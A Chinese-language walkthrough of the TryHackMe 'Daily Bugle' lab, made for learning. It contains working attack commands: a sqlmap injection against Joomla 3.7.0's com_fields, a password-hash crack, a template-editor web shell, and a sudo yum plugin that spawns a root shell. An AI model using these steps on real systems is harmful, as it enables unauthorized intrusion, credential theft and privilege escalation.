TryHackMe-Daily Bungle

靶机链接:dailybugle.

靶机难度:中等

本文涉及:

  • Sqlmap
  • sudo-yum提权
  • Joomla后台get-shell

信息收集

1
2
3
ports=$(nmap -p- --min-rate=1000  -T4 10.10.85.231 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -sC -sV -p$ports 10.10.190.185

扫描端口后,发现目标只开放了两个端口。并且http服务探测检测到这是个Joomla开源评论管理系统。具体是什么东西,我不知道。。不过先扫描下网站路径,和访问下网站。
nmap

路径探测结果:
dirb

login

/administrator是后台登录页面
index

用kali自带的searchsploit看看这个joomla有没有exploit。

search-exp

结果多到显示不完。。不过我们不知道它的版本号。不知道准确的版本号,也就不知道该使用什么exploit谷歌了一下后,发现msf有扫描joomla版本的脚本。直接上msf。

msf

结果显示是3.7.0。那么就来搜索一下3.7.0的exploit。
3.7.0

好起来了,是一个sqli注入的漏洞。
sqli

漏洞利用

好,直接使用sqlmap跑起来。

1
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

dbs

表真多,不过没啥问题。我们已经找到我们想要的了#__users
tables

接下来该取数据了
dump

还是加密的。这是bcryptphp的密码加密哈希值。这里就让john去跑吧。

直接这样的话是不行的

1
john $2y$.......... --wordlist=...

我们要把哈希值写到一个文件里面,让john从这个文件读取去跑。
password

用这个密码,登录到后台。找到上传点直接写一句话,然后蚁剑伺候。(类似wordpress修改模板文件的地方。
upload

蚁剑连接成功!
ant
一进来就看到一个文件,十分吸引人。configuration.php这里说不定有管理员的密码。

password

这里有两个字符串,长的都很像密码,一个个试。password字段的肯定是一个mysql的密码。

获取用户名。
home

提权

直接ssh连接,成功登录
user

拿到第一个flag,同时我们也知道了yum拥有sudo权限。让我们去看下yum有什么提权姿势

It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.

yumshell
1
2
3
4
5
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF

sudo yum localinstall -y x-1.0-1.noarch.rpm

Spawn interactive root shell by loading a custom plugin.

yumshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y

第一个fpm是不行的,因为目标环境没有fpm。
root

可以看到,我们已经拿到root.flag了。

总结

学会了

  • yum的提权方式
  • joomla修改模板文件的地方

参考链接: